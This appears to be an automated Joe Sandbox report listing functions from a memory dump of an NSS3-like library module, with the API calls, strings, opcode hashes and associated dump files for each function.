API String ID: 0-2411240822
Opcode ID: fcd271184409ebdcec8ffbbca54ff9590865ab68e1ee04356fc7c061511ff1cb
Instruction ID: 9d998576cee547a564fc551993606db23aba7f13af430b5bad68e0400f4037f4
Opcode Fuzzy Hash: fcd271184409ebdcec8ffbbca54ff9590865ab68e1ee04356fc7c061511ff1cb
Instruction Fuzzy Hash: 6F627170A04205CFDB14CF2AC484AA9BBF2FF49308F1581ADD915DBB66D736E956CB80

Function 6CABEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CABF0F9

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: cfada210c9578b205351bed89e6a229557174a910d7373461e6c956abb58aa32
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 6D91CF79A0121A8BCB14CF68CC906AEB7F5FF85324F28462DD926A7BD0D730A945CB50

Function 6CAE2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CB07929), ref: 6CAE2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CB07929), ref: 6CAE2FE0

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 3b7ef1abb85ce32e5147202cc3c188ab373bd94f52bbaa721232f235e8d89ab2
Instruction ID: 75c1bbc25f7968497047e9c26e03f96734e5d114fe121defe4dc590bf28e1d24
Opcode Fuzzy Hash: 3b7ef1abb85ce32e5147202cc3c188ab373bd94f52bbaa721232f235e8d89ab2
Instruction Fuzzy Hash: E7510971A069118FDB10CE59C880B6A73B1FF4D318F1D4269D9895BB21D731E9C6EBC1

Function 6CB00E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CB01052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CB01086

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: d3ef41b9abfa1c6550f8155cc3b9b15f3fac730410ea5072bca808efd6f25eb4
Instruction ID: 3c4c95d29a49031a5df77b4009b744ab52ace3db7df25b48a6f7004bafe49797
Opcode Fuzzy Hash: d3ef41b9abfa1c6550f8155cc3b9b15f3fac730410ea5072bca808efd6f25eb4
Instruction Fuzzy Hash: 00A12C71F0128A9FDF08CF99D990AEEBBB6FF48314B148129E915A7700D735AC11CB90

Function 6CA2AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CA2AE9F
winUnlock, xrefs: 6CA2AE18

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: aa0a46008aacddf272261fb8a8480540d887bd6fde19a9e43dcc17c44868768e
Instruction ID: 048d5ac88bbafe43372843ebe6a88525775d367de5c506289f9df64ffd2f3f65
Opcode Fuzzy Hash: aa0a46008aacddf272261fb8a8480540d887bd6fde19a9e43dcc17c44868768e
Instruction Fuzzy Hash: 9B716B706082509FDB04CF28E894AAABBF5FF89314F18C619F95997341D730A986CBD5

Function 6CA549F0 Relevance: 1.9, APIs: 1, Instructions: 673COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba7cf43b1888f517f84d5b6f38900ce1c0efb84d153d0e8e0b386e30641be683
Instruction ID: f4fcf278aba70afb8e197e42bbf98cf5a8d6da7d8f4c4b1584fb8040107a61f8
Opcode Fuzzy Hash: ba7cf43b1888f517f84d5b6f38900ce1c0efb84d153d0e8e0b386e30641be683
Instruction Fuzzy Hash: 87526B74E042098FDB04CF59C480BAEBBF2FF88318F69C159D915AB751D735A8A6CB90

Function 6CAEED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CAEEE3D

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 069f7d3985b058226e86b9ca6c77badf544891672b6363254df5b4403a050318
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: E971D272E017018FD718CF59D8806AAB7F2EB8C314F19862DD85697B91D730E980DBD1

Function 6CA24DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CA25125

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 8ce8fa48bef79e1a805c3328595128ba9adc53febf3e61d5a5cb738a83879ee8
Instruction ID: ff2ba186647e7cf97fe513690307457110ae352a43e7574517fd456fd1b76c57
Opcode Fuzzy Hash: 8ce8fa48bef79e1a805c3328595128ba9adc53febf3e61d5a5cb738a83879ee8
Instruction Fuzzy Hash: 27E13770A083808FDB44DF28E58465ABBF0FF89748F198A1DE89997351E734D985CF86

Function 6CA58960 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction ID: 0935b5415de2f79e000a63e24f50fd67cdd00e720d89769c98c7fc40aa024f27
Opcode Fuzzy Hash: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction Fuzzy Hash: 8AD18175FA521ACFDB08CEA9C4806AEB3F2FB89304F59C52AC552E7640D7349C91CB90

Function 6CAAA820 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e6b3932288f0cc7005eaf0157ef7d9b5cfe59c0a0aa1769026b02d3c183081d
Instruction ID: fa7c58968ce91a09313fee9223e337c205e9a26cebafcd860eb76e0a662982c2
Opcode Fuzzy Hash: 8e6b3932288f0cc7005eaf0157ef7d9b5cfe59c0a0aa1769026b02d3c183081d
Instruction Fuzzy Hash: 16519171A012098FDB05CF95D944BAABBE6EF48308F2A806DE8199B750D730DC96CF94

Function 6CA88EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bed0e2dc6fb07dc2965799d973029b2e072210c059cdedb79f290f9e178c049
Instruction ID: b538529eb00d42373d680084c0fec2d95b51669fa99586cf5e1a0c9033c5ca54
Opcode Fuzzy Hash: 5bed0e2dc6fb07dc2965799d973029b2e072210c059cdedb79f290f9e178c049
Instruction Fuzzy Hash: EA11BF32A022158BD704DF28D884B5AB7B5BF42318F0842AAD8158FA42CB75ECC6C7D1

Function 6CB60C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37bbfbbb41077e2b6959067845c8a5652d5841bd1f8ef243af6eb8e96e1a6baf
Instruction ID: f92163f8da66b48d454d1a6b3efe3ca4af69b4c7328ceedae4baf741e6acd31a
Opcode Fuzzy Hash: 37bbfbbb41077e2b6959067845c8a5652d5841bd1f8ef243af6eb8e96e1a6baf
Instruction Fuzzy Hash: AA11E3787043859FCB00DF2AD8806AA7BB5FF85368F14857DD8198BB01DB31E806CBA5

Function 6CAD44C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 056eb1d58ae2562ae3f80cd6372c948e056ae8afb3d4b89778dc0ed011cdc723
Instruction ID: 8c8302a57d8f633b7bf1b8441b3c6c3eab4b0e627454bcd8534a3b9558f06718
Opcode Fuzzy Hash: 056eb1d58ae2562ae3f80cd6372c948e056ae8afb3d4b89778dc0ed011cdc723
Instruction Fuzzy Hash: BE110976E002199F8B00CF99D8819EFBBF9EF8C664B564419ED19E7301D230ED548BE0

Function 6CB60D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 335e58d874dfe13ee1a27bc3e9cc5c9fb0cf6ceb0134494a868335967057a3ab
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 16E0923A2020B4A7DB148E0BE450AA97359DF81619FB4817DCD5D9FE01D733F8038786

Function 6CA8CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63fb2172955777438f78104c941bb9a1d563dfe28ff93f3105dc4b89654debc8
Instruction ID: 9c26120b6f9f02eab281e060a40831de76230f3f37efd697d863dce5e7804d81
Opcode Fuzzy Hash: 63fb2172955777438f78104c941bb9a1d563dfe28ff93f3105dc4b89654debc8
Instruction Fuzzy Hash: 98C04838244608CFC704DA1CE5999A43BA8AB096107040094EA028B721DA21F800CA84

Function 6CBA09D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CBA0A22

Part of subcall function 6CB59DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DC6
Part of subcall function 6CB59DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DD1
Part of subcall function 6CB59DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB59DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBA0A35

Part of subcall function 6CA83810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA8382A
Part of subcall function 6CA83810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA83879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBA0A66
PR_GetCurrentThread.NSS3 ref: 6CBA0A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBA0A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBA0AC8
PR_vsmprintf.NSS3(?,?), ref: 6CBA0AE8
EnterCriticalSection.KERNEL32(?), ref: 6CBA0B19
OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0B48
OutputDebugStringA.KERNEL32(?), ref: 6CBA0B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CBA0C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBA0C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6CBA0C76
PR_LogFlush.NSS3 ref: 6CBA0C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CBA0C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0C9C
OutputDebugStringA.KERNEL32(?), ref: 6CBA0CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBA0CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CBA0D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6CBA0D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CBA0D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6CBA0D90
free.MOZGLUE(00000000), ref: 6CBA0D99

Strings

%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6CBA0A5B
%ld[%p]: , xrefs: 6CBA0A96

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: 881036718db2a4943e3abc78de813d10145d857617bcc5e85a85dff49f03e871
Instruction ID: aa48a9249d3dcb7d15ad90767d3948e55f73b4b7ae1fdd476c8f36d7c99feb7d
Opcode Fuzzy Hash: 881036718db2a4943e3abc78de813d10145d857617bcc5e85a85dff49f03e871
Instruction Fuzzy Hash: 78A106B1A042D4AFDF109FA8DC48B9E3F78EF16318F0C0954E8A693341D776A9A5CB51

Function 6CAC8BA0 Relevance: 51.0, APIs: 17, Strings: 12, Instructions: 202COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GenerateKeyPair), ref: 6CAC8BC6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC8BF4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8C03

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC8C19
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAC8C3F
PR_LogPrint.NSS3( pPublicKeyTemplate = 0x%p,?), ref: 6CAC8C5A
PR_LogPrint.NSS3( ulPublicKeyAttributeCount = %d,?), ref: 6CAC8C73
PR_LogPrint.NSS3( pPrivateKeyTemplate = 0x%p,?), ref: 6CAC8C8C
PR_LogPrint.NSS3( ulPrivateKeyAttributeCount = %d,?), ref: 6CAC8CA7
PR_LogPrint.NSS3( phPublicKey = 0x%p,?), ref: 6CAC8CC2
PR_LogPrint.NSS3( phPrivateKey = 0x%p,?), ref: 6CAC8CE7
PL_strncpyz.NSS3(?, *phPublicKey = 0x%x,00000050), ref: 6CAC8D92
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8DA1
PR_LogPrint.NSS3(?,00000000), ref: 6CAC8DB7
PL_strncpyz.NSS3(?, *phPrivateKey = 0x%x,00000050), ref: 6CAC8DEB
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8DFA

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

PR_LogPrint.NSS3(?,00000000), ref: 6CAC8E10

Strings

pMechanism = 0x%p, xrefs: 6CAC8C3A
*phPrivateKey = 0x%x, xrefs: 6CAC8DD5, 6CAC8DE5
(CK_INVALID_HANDLE), xrefs: 6CAC8BFC, 6CAC8D9A, 6CAC8DF3
hSession = 0x%x, xrefs: 6CAC8BDE, 6CAC8BEE
pPublicKeyTemplate = 0x%p, xrefs: 6CAC8C55
C_GenerateKeyPair, xrefs: 6CAC8BC1
pPrivateKeyTemplate = 0x%p, xrefs: 6CAC8C87
*phPublicKey = 0x%x, xrefs: 6CAC8D7C, 6CAC8D8C
phPublicKey = 0x%p, xrefs: 6CAC8CBD
ulPublicKeyAttributeCount = %d, xrefs: 6CAC8C6E
phPrivateKey = 0x%p, xrefs: 6CAC8CE2
ulPrivateKeyAttributeCount = %d, xrefs: 6CAC8CA2

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

